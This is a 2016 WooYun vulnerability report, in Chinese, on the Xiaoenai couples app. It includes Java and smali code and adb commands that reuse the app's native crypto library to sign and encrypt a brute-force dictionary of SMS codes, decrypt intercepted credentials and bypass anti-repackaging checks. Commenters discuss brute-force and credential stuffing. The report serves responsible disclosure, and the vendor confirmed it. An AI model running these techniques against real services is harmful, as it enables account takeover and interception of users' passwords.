当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184368

漏洞标题:演示破解“小恩爱”官方APP的http算法附另类过so(几个漏洞利用思路)

相关厂商:小恩爱

漏洞作者: soFree

提交时间:2016-03-13 23:05

修复时间:2016-04-28 18:09

公开时间:2016-04-28 18:09

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:19

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-13: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-24: 细节向核心白帽子及相关领域专家公开
2016-04-03: 细节向普通白帽子公开
2016-04-13: 细节向实习白帽子公开
2016-04-28: 细节向公众公开

简要描述:

前几日,咱妹子推荐装个”小恩爱“,妹子的话=圣旨!刚好最近在看Android NDK开发,索性拿它实践下
下载最新版apk,反编译搞起,”小恩爱“号称全球最受欢迎的情侣应用

详细说明:

本文重点:如何过并利用.so
篇幅较多,见谅,为完整演示,就写细了
装机”小恩爱“后进行注册,抓包发现http请求包被加密成很长的一串字符,不能愉快的渗透了
形式:data=3efc447662......7345080d7&ver=1.0
未采用第三方加固或加壳工具,成功反编译,代码混淆了,依然可进行静态分析
以“注册时提交短信验证码请求”为切入点:http://sms.api.xiaoenai.com/v3/sms/client_verify_code
搜索 client_verify_code,定位到关键代码:
JSONObject jSONObject = new JSONObject();
jSONObject.put("mobile", str);
jSONObject.put("verify_code", str2);
jSONObject.put("verify_type", i);
m15596a("v3/sms/client_verify_code", jSONObject);
上面得到的jSONObject进行加签得到sig:
public static JSONObject m15595e(JSONObject jSONObject) {
if (jSONObject == null) {
jSONObject = new JSONObject();
}
jSONObject.put("ts", (System.currentTimeMillis() / 1000) + ((long) C3070b.m15493b("client_server_adjust", Integer.valueOf(0)).intValue()));
if (C3068a.m15453i().m15469f()) {
jSONObject.put(WBConstants.AUTH_ACCESS_TOKEN, C3068a.m15453i().m15461b());
}
jSONObject.put("lang", bp.m16216i() + "_" + bp.m16218j());
jSONObject.put("xea_os", "android");
try {
jSONObject.put("xea_app_ver", Xiaoenai.m10305j().getPackageManager().getPackageInfo(Xiaoenai.m10305j().getPackageName(), 0).versionName);
} catch (Exception e) {
e.printStackTrace();
}
try {
Object obj = Xiaoenai.m10305j().getPackageManager().getApplicationInfo(Xiaoenai.m10305j().getPackageName(), 128).metaData.get(SdkConstants.CHANNEL_META_CONFIG_KEY_UMENG);
if (obj != null) {
jSONObject.put("xea_channel", obj.toString());
}
} catch (Exception e2) {
e2.printStackTrace();
}
jSONObject.put("xea_net", ap.m16028c(Xiaoenai.m10305j()));
//前面进行业务参数和公共参数的组装,这里加签,得到sig
jSONObject.put(“sig”, C3131i.m16287a(jSONObject));
return jSONObject;
}
待签名字符串按照key排序为:lang=zh_CN&mobile=15657585784&ts=1457865296&verify_code=1234&verify_type=1&xea_app_ver=5.6.1&xea_channel=%E8%B1%8C%E8%B1%86%E8%8D%9A&xea_net=wifi&xea_os=android
加签得到sig,再次组装得到一个形如这样的jSONObject:
{"xea_app_ver":"5.6.1","xea_os":"android","ts":1457865296,"xea_net":"wifi","verify_type":1,"xea_channel":"%E8%B1%8C%E8%B1%86%E8%8D%9A","lang":"zh_CN","verify_code":"1234","mobile":"15657585784","sig":"7958fa968e6612f52ad1d38c577cb4d3"}
然后就是重点了,这样的jSONObject进入so库中加密得到咱们抓包看到的request串:
data=3efc447662......7345080d7&ver=1.0
so的java代码在CryptoJNI.class文件中:System.loadLibrary("mzd"):public static final native String enCrypto(String str);
现在咱们搞清楚了“小恩爱”的整个安全机制,简单一句话:
业务参数拼接上公共参数,然后加签,再加密
现在难点就是怎么破解这个so里的算法?!··
方案:
a.反编译so后阅读汇编,辅以ida调试等方式
b.搜寻“小恩爱”的老版本,看是否老版本里重要算法没有入so库(这个方法很多时候还真的有效,因为企业为了兼容性考虑,升级后原算法都没变)
c.注入打印语句,生成大量的数据,做一个算法字典,从而将so里的算法猜解出来。这个大家可参考咱去年12月份上报的破解华住集团app的so: WooYun: 讲解一步步逆向破解华住酒店集团官网APP的http包加密算法以及一系列漏洞打包
d.发散思维,想其他方案
这里考虑d方案,为啥一定要破解so文件呀,不破解就不能愉快的玩耍了吗?
懂点Android NDK开发的同学知道,so文件其实是可以被复用的
啥意思?就是说,将别人app里的so文件拷到自己apk里,复用这个so文件
咱演示下,并附带几个利用思路,
1、利用思路1:演示如何进行”任意手机号注册“
注册的时候短信验证码是4位纯数字,且为30分钟有效,存在遍历暴破的可能
于是咱的app要实现的功能就很清晰了:咱想获取验证码1000-9999(其实短信码还有0打头的情况,比如0105,咱这偷个懒,只为演示下利用思路)的所有加密后的串(后续咱用这个加密串字典进行请求遍历,看能否注册任意手机号)
复用他人so文件的思路:将自己的app反编译后进行代码注入并将他人的so文件(这里是libmzd.so)拷贝到lib下的armeabi文件夹下,然后二次打包,搞定!
过程:
提一句:最好在这个空apk里面实现1000-9999这个循环,为啥呢,因为smali注入复杂的循环语句常常会因为一些小细节导致代码注入出错,apk运行就挂,而java比smali好整多了,当然你要是smali写得出神入化,那这都不是问题
将自己的apk反编译后,进行代码注入,
首先将libmzd.so拷贝到lib下的armeabi文件夹下
为了能成功调用它,下面咱们需要进行合适的代码注入
这里,咱们需要先知道java代码是如何找到并调用so文件里面咱们所需函数的?
就比如这个例子,CryptoJNI.class文件:
package org.mzd.crypto;
public class CryptoJNI
System.loadLibrary("mzd");
public static final native String enCrypto(String str);
当执行System.loadLibrary("mzd")时,程序一般会去lib下的armeabi文件夹下寻找并加载libmzd.so文件,
(咱们这儿要调用libmzd.so文件里的enCrypto函数)然后将会根据CryptoJNI文件的路径和参数签名去找对应注册的enCrypto函数
这里就是:Java_org_mzd_crypto_CryptoJNI_enCrypto(JNIEnv *env, jobject obj, jstring str)(当然动态注册可能是别的串形式,不过原理一样)
所以,咱们为了能成功复用别人的so,那就必须保持:原java函数的包、函数、函数的参数都固定不变
这里是:org.mzd.crypto.CryptoJNI.enCrypto(String str)
所以就简单了,咱们反编译后只需要在代码根目录下新建文件夹取名org,在org文件夹下新建文件夹mzd,mzd文件下新建文件夹crypto,然后将”小恩爱“自带的CryptoJNI.smali拷贝到文件夹crypto下
搞定!,现在咱们就可以成功复用别人的so文件了
接下来要做的就是代码注入,实现咱上面说到的1000-9999短信验证码这个循环,每一次循环都调用一次libmzd.so里的enCrypto函数,并打印出这些加密request包
进行过smali注入的同学可能遇到过,写smali代码有时候会导致原apk报错,甚至多次排查后也不晓得哪个地方出问题了,总之就是smali注入效率不高
这里咱想的策略是尽量大部分的代码用java写,少部分注入语句用smali
所以,咱用java实现了1000-9999短信验证码这个循环,还有参数加签并组装成字符串的过程,然后用smali实现加密和打印,也就是调用so的过程
短信验证码的循环:
for(int i=1000;i<9999;i++){
DataEncrypt.dataEncrypt(String.valueOf(i));
......
}
加签和组装:
public static String dataEncrypt(String verify_code) {
Map<String, Object> dataMap = new HashMap<>();
//公共参数
dataMap.put("ts", (System.currentTimeMillis() / 1000) +5);
dataMap.put("lang", "zh_CN");
dataMap.put("xea_app_ver", "5.6.1");
dataMap.put("xea_channel", "%E8%B1%8C%E8%B1%86%E8%8D%9A");
dataMap.put("xea_net", "wifi");
dataMap.put("xea_os", "android");
//业务参数
dataMap.put("verify_type", 1);
dataMap.put("verify_code", verify_code);
//手机号特意固定为15657585784,可改之
dataMap.put("mobile", "15657585784");
//签名
String sig = genSign(dataMap);
dataMap.put("sig", sig);
JSONObject jSONObject = MapSortDemo.fromMap(dataMap);
return jSONObject.toString();
}
public static String getSign(String str) {
try {
System.out.print("str:"+str);
MessageDigest instance = MessageDigest.getInstance("MD5");
instance.update(str.getBytes("UTF-8"));
StringBuffer stringBuffer = new StringBuffer();
byte[] bytes = instance.digest();
int length = bytes.length;
for (int i = 0; i < length; i++) {
stringBuffer.append(String.format("%02x", Integer.valueOf(bytes[i] & 255)));
}
return stringBuffer.toString();
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
public static String genSign(Map<String, Object> dataMap) {
StringBuilder sb = new StringBuilder();
Map<String, Object> dataMapSort = MapSortDemo.sortMapByKey(dataMap);
for (Map.Entry<String, Object> entry : dataMapSort.entrySet()) {
if (!(entry.getValue() == null)) {
sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
}
}
if (sb.length() > 0) {
sb.deleteCharAt(sb.length() - 1);
}
return getSign(sb.toString());
}
smali实现加密(就3句):
invoke-static {v3}, Lorg/mzd/crypto/CryptoJNI;->enCrypto(Ljava/lang/String;)Ljava/lang/String;
move-result-object v3
invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
二次打包后,运行apk,打印出了1000-9999的短信验证码+手机号15657585784全部可能的加密request串
因为ddms或者androidStudio自带的logcat都有最大缓存容量,修改设置后发现也不能显示出这8999条数据,会被冲刷覆盖掉
可采用adb logcat正则命令,将8999条数据写到终端sdcard的文件中,命令:
首先在cmd下输:adb shell
再输入:logcat |grep "enCrypto:" >sdcard/encrypto.txt
从sdcard中取出encrypto.txt文件:
D/enCrypto:(22000): {"data":"3efc44766204453f3063acc6b594933f7d43ee172285857d3d33a5e9fc2720e6fa5190fbeef2a7aa850c07bb3a96b593e17f3b68984ae8a5961f16fa4ae351a9c6bad06fc20d0d85596469504e90b7faeaff7855e8f1defbbaef919bca2444bca340bb97da31fb8babaa7cb6f05ee1382bdf1b283642e92fc631ed4635623a2ec89267116a12bb5c3e6e475921cdf2c10da862ae4f795e4d41b1148589df161fe65570cbfb4d0020b6e6b8a467e506b6f0542720c3f829f0da8cbc5a3e6e1f9f904ce5504de8bf2c89a2e9c749ddff31322e00d93c301ecbaf8cfa7ad03b59e1228b0fb968913759ccbe9f4da7415deb","ver":"1.0"}
...
...
D/enCrypto:(22000): {"data":"3efc44766204453f3063acc6b594933f7d43ee172285857d3d33a5e9fc2720e6fa5190fbeef2a7aa850c07bb3a96b593e17f3b68984ae8a5961f16fa4ae351a9c6bad06fc20d0d85596469504e90b7faeaff7855e8f1defbbaef919bca2444bca340bb97da31fb8babaa7cb6f05ee1382bdf1b283642e92fc631ed4635623a2ec89267116a12bb5c3e6e475921cdf2c10da862ae4f795e4d41b1148589df161fb303181ebd00249e4ca4992a010b5d92f0542720c3f829f0da8cbc5a3e6e1f9fbfa0cc82b2d57a8b711a06c1d50e98b9febf0540d8458a65bf60715c732c81892338794e158e596c3228d06e4577ddb8","ver":"1.0"}
下面就简单了,直接上burpsuite遍历这8900多条提交短信验证码的请求,看能否成功注册这个手机号15657585784
截图:

zhuangk.png


小遗憾,跑完发现没成功,排除好几次,签名和代码确定没问题,看来服务端很可能有防短信验证码暴破的类似机制
没得关系,透过上面这个思路,咱们已经成功搞定so,并搞定加签算法,利用思路那就很多,因为咱可以任意改request包
2、下面说利用思路二:
思路二咱就不写了,留给感兴趣的朋友,咱妹子最近没提“小恩爱”这个应用了,俺也没用过这个应用了,就不花时间去了解其业务,然后模拟攻击了
因为咱们到这里其实已经拿下了它全部的加密包,可任意改包,只要多深入看看其业务,估计能发现不少漏洞
咱分享点其他的,为啥咱会得出这样的结论,因为不少公司移动端的产品为了规避很多安全,实现所谓的一劳永逸的解决安全漏洞,选择了类似“小恩爱”这样的设计方案
对原始参数加签再加密,因为被加密了看不到原包,同时有加签,这样可以规避很多风险,比如越权,撞库、暴破、敏感信息泄漏。。。甚至一些业务逻辑方面的漏洞
其实小弟咱自己的公司就是采用的request包和respons包加签方案,因为加签了,可防篡改,安全漏洞一直在哪里,只是规避掉了,但是几个月前,咱通过看了点hook,轻松就搞定了这个设计方案
因为黑客虽然不能修改加签后的request包,但是通过hook(xposed和substrate),可在你加签之前钩住某函数,从而在加签之前进行参数任意篡改
这里小弟有个感悟就是:不少公司常常解决安全问题的方案,不是直接去解决,而是选择规避的方案。
为啥,因为规避的方案最省人力物力
3、利用思路三(很有趣喔):
大家可能注意到一个细节了
public class CryptoJNI {
public static final native String deCrypto(String str);
public static final native String enCrypto(String str);
static {System.loadLibrary("mzd");}

说明这个libmzd.so文件里面还有deCrypto方法,cool!酷毙了!因为这意味着黑客截获的http包极有可能解密成明文,
为了说明严重性和趣味性,咱拿一个注册最后一步提交密码的加密request包来做验证
data:34fd3dff810ee846d874cd48db1f87bce0a7035f3c96bf51fcb1892b7e7e7845265353828d261dbad2d4**************8e3fbef05e93bbb2277345080d7
思路同样,就几行代码,咱写个app然后复用该so文件的解密函数,并传入截获的http包,发现解密data成功!!
androidStudio中打印日志出明文(账号和密码都看到了):
D/deCrypto:: {"ts":1457874602,"lang":"zh_CN","password":"aaa111","sig":"e444c8ee1e1c7c037afd98a253f7a2b5","verify_code":"7014","mobile":"1871******5"}
请允许咱大笑3声,哈哈哈!咱开发同学也太有爱了,爱死你们了,居然将解密的接口也暴露给黑客了,话说这个加密的原方案岂不突然成了鸡肋
其他的漏洞:
a.防二次打包机制是个摆设,建议优化
二次打包后安装,运行时,弹出提示该软件为“山寨版”,
分析后定位到关键代码:
const-string v1, "aN+VCd8ns0yqsotX2WuKyScq/ZA="
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v0
if-nez v0, :cond_3
直接将if-nez改为if-eqz,成功绕过该验证
提一句:大家会发现二次打包会失败,原因是public.xml中配置了一些不存在的引用,咱们去掉这些不存在的引用即可成功打包
b.最新版"小恩爱"有一个防老版本登录的机制:
av.m16057b((Activity) this);
sendBroadcast(new Intent("kill_action"));
可轻松绕过,建议修改该方案
c.可正常抓包,说明存在中间人攻击,
建议使用STRIC_HOSTNAME_VERIFIER并校验证书,并在实现的X509TrustManager子类中checkServerTrusted函数效验服务器端证书的合法性。
d.建议在AndroidManifest.xml中设置android:allowBackup="false"
e.本地拒绝服务漏洞:
com.xiaoenai.app.classes.chat.history.ChatHistoryActivity
com.xiaoenai.app.classes.auth.XeaAuthActivity
com.xiaoenai.app.classes.common.share.WeiboShareActivity
com.xiaoenai.app.classes.chat.ChatActivity
com.easemob.chat.EMChatService
com.alibaba.sdk.android.trade.ui.TradeWebViewActivity
com.xiaoenai.app.service.MessageService
com.mob.tools.MobUIShell
com.alibaba.sdk.android.trade.ui.NativeTaobaoClientActivity
com.xiaoenai.app.classes.home.HomeActivity
com.umeng.common.net.DownloadingService
com.xiaoenai.app.classes.startup.LauncherActivity
org.cocos2dx.cpp.AppActivity
com.xiaoenai.app.classes.chat.emchat.service.CallService
f.另外建议进行安全加固,虽然第三方加固方案收费是有点小贵
g.webview远程代码执行漏洞等

漏洞证明:

本篇结论:原来so就算不被反编译或调试,也不一定就安全,只要攻击者思路发散点,大招小招不断,是有可能另类搞定so的

修复方案:

麻烦改吧

版权声明:转载请注明来源 soFree@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-03-14 18:09

厂商回复:

多谢提醒,该漏洞已移交Android技术团队跟进处理。非常感谢您对小恩爱安全的关注!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-13 23:14 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    洞主,他这App之前存在可以任意用户密码修改,(属于爆破),之后在测试的时候还是4位数字,可是通信过程采用加密手法了,你知道什么手法么?

  2. 2016-03-13 23:31 | mango ( 核心白帽子 | Rank:2111 漏洞数:306 | 解决问题的第一步,是要承认问题的存在。)

    同求~

  3. 2016-03-14 11:12 | soFree ( 普通白帽子 | Rank:127 漏洞数:35 | 授人以鱼,不如授之以渔)

    @mango@ ’‘Nome,抱歉了,我没测试这app的登录和其他的业务,就只拿注册作为切入点演示了下破解http加密和过so,现在咱能搞定http加密,兄台说到的暴破问题,如果“小恩爱”没有进行彻底修复,只是通过加密来规避,那咱们同样可以生成一个加密后的request包字典,继续撞库或暴破

  4. 2016-03-14 11:26 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    @soFree 能否私信加个好友?

  5. 2016-03-14 11:27 | BMa 认证白帽子 ( 核心白帽子 | Rank:2039 漏洞数:225 )

    @soFree 牛,我发短消息给你了,有空交流下

  6. 2016-03-14 11:36 | soFree ( 普通白帽子 | Rank:127 漏洞数:35 | 授人以鱼,不如授之以渔)

    @BMa@’‘Nome 说的小弟我真的很惭愧,小弟我懂得还不深,在公司学习安全也才一年,对你们大牛一直怀有一颗虔诚的仰慕之心,望着大牛们的背影,期待有一天能站在你们身旁,一块儿说会儿话

  7. 2016-03-14 11:38 | soFree ( 普通白帽子 | Rank:127 漏洞数:35 | 授人以鱼,不如授之以渔)

    @BMa@’‘Nome@mango非常荣幸得到大牛们的评论,感谢

  8. 2016-03-14 12:03 | mango ( 核心白帽子 | Rank:2111 漏洞数:306 | 解决问题的第一步,是要承认问题的存在。)

    @soFree 我遇到的是 app全程都是加密数据。

  9. 2016-03-14 12:10 | soFree ( 普通白帽子 | Rank:127 漏洞数:35 | 授人以鱼,不如授之以渔)

    @mango搞定脱壳或第三方加固后(如果有的话),看源码一般都是重要算法入so库,你感兴趣可以看汇编,直接反编译so,小弟也不熟悉汇编,在学习中

  10. 2016-03-14 12:21 | soFree ( 普通白帽子 | Rank:127 漏洞数:35 | 授人以鱼,不如授之以渔)

    @mango52或者逆向未来很多逆向和破解大牛,我很仰慕:鬼哥、淡然、坑神七少月等大牛,你感兴趣可以加破解群377724636,鬼哥是群主哦

  11. 2016-03-14 19:22 | mango ( 核心白帽子 | Rank:2111 漏洞数:306 | 解决问题的第一步,是要承认问题的存在。)

    @soFree 研究过 感觉像是第三方加固的 ~ 没办法~ 就没搞了

  12. 2016-03-14 19:43 | BMa 认证白帽子 ( 核心白帽子 | Rank:2039 漏洞数:225 )

    @soFree 这个群老早就不允许任何人加入了 - - !

  13. 2016-03-14 20:49 | 小杰哥 ( 普通白帽子 | Rank:251 漏洞数:35 | 我不是 T0n9 和 T0n9@X1a0J1e 的大号!)

    我记得以前女朋友叫我装个小恩爱,我发现小恩爱有三个小游戏,可以刷分,然后我每周都是第一 ... 突然... 他们把游戏下线了.. 我依稀的记得叫啥2048、和小什么小鸟..

  14. 2016-03-14 21:51 | 佳佳佳佳佳 认证白帽子 ( 实习白帽子 | Rank:45 漏洞数:7 | I want to be ur sunshine.)

    ...我想哭...昨天才下的小恩爱...TAT

  15. 2016-03-14 22:13 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    @佳佳佳佳佳 卧槽,居然你玩小恩爱

  16. 2016-03-15 10:13 | Good ( 路人 | Rank:5 漏洞数:1 | 这个家伙很懒,什么也没有写。)

    mark. .

  17. 2016-03-20 14:31 | 刘洪泽 ( 普通白帽子 | Rank:166 漏洞数:40 | 弱口令号~)

    卧槽,你们竟然都在秀恩爱....

  18. 2016-04-20 10:07 | soFree ( 普通白帽子 | Rank:127 漏洞数:35 | 授人以鱼,不如授之以渔)

    最近有朋友q私信我:咱们这儿,除了直接copy他人apk的so来复用,是不是也可以将他人apk的so替换成自己apk的so?那该怎么操作来保证他人apk能正常跑起?可能有同学有相同的疑问,此方法可针对那些在so的JNI_OnLoad函数中验证反调试或验证签名等操作的apk,原理类似,在android studio中写个apk,java层保证原java函数的包、函数、函数的参数都相同,native层保证跟原so的逻辑类似或者完全不同,so命名也相同并打包,最后将别人apk的so替换成自己的so并二次打包。需要注意:这里为了保证别人apk能正常运行(即其服务端能成功接受你的request),很可能需要反编译其so后,分析出大概逻辑,实在不懂arm指令的同学可使用ida6.8的F5,阅读伪代码(当然如果加花或加壳了要麻烦很多)。也许有朋友会问这相对于直接修改原so会不会多此一举(如果你可熟练阅读arm那当然没有任何方法比直接反编译来的方便)?也不一定,实践中咱们需要评估不同so的难易复杂度和自己现阶段掌握的水平,选择相对不难的方法,毕竟思路多点总是好的。还有其他新思路的,欢迎大家分享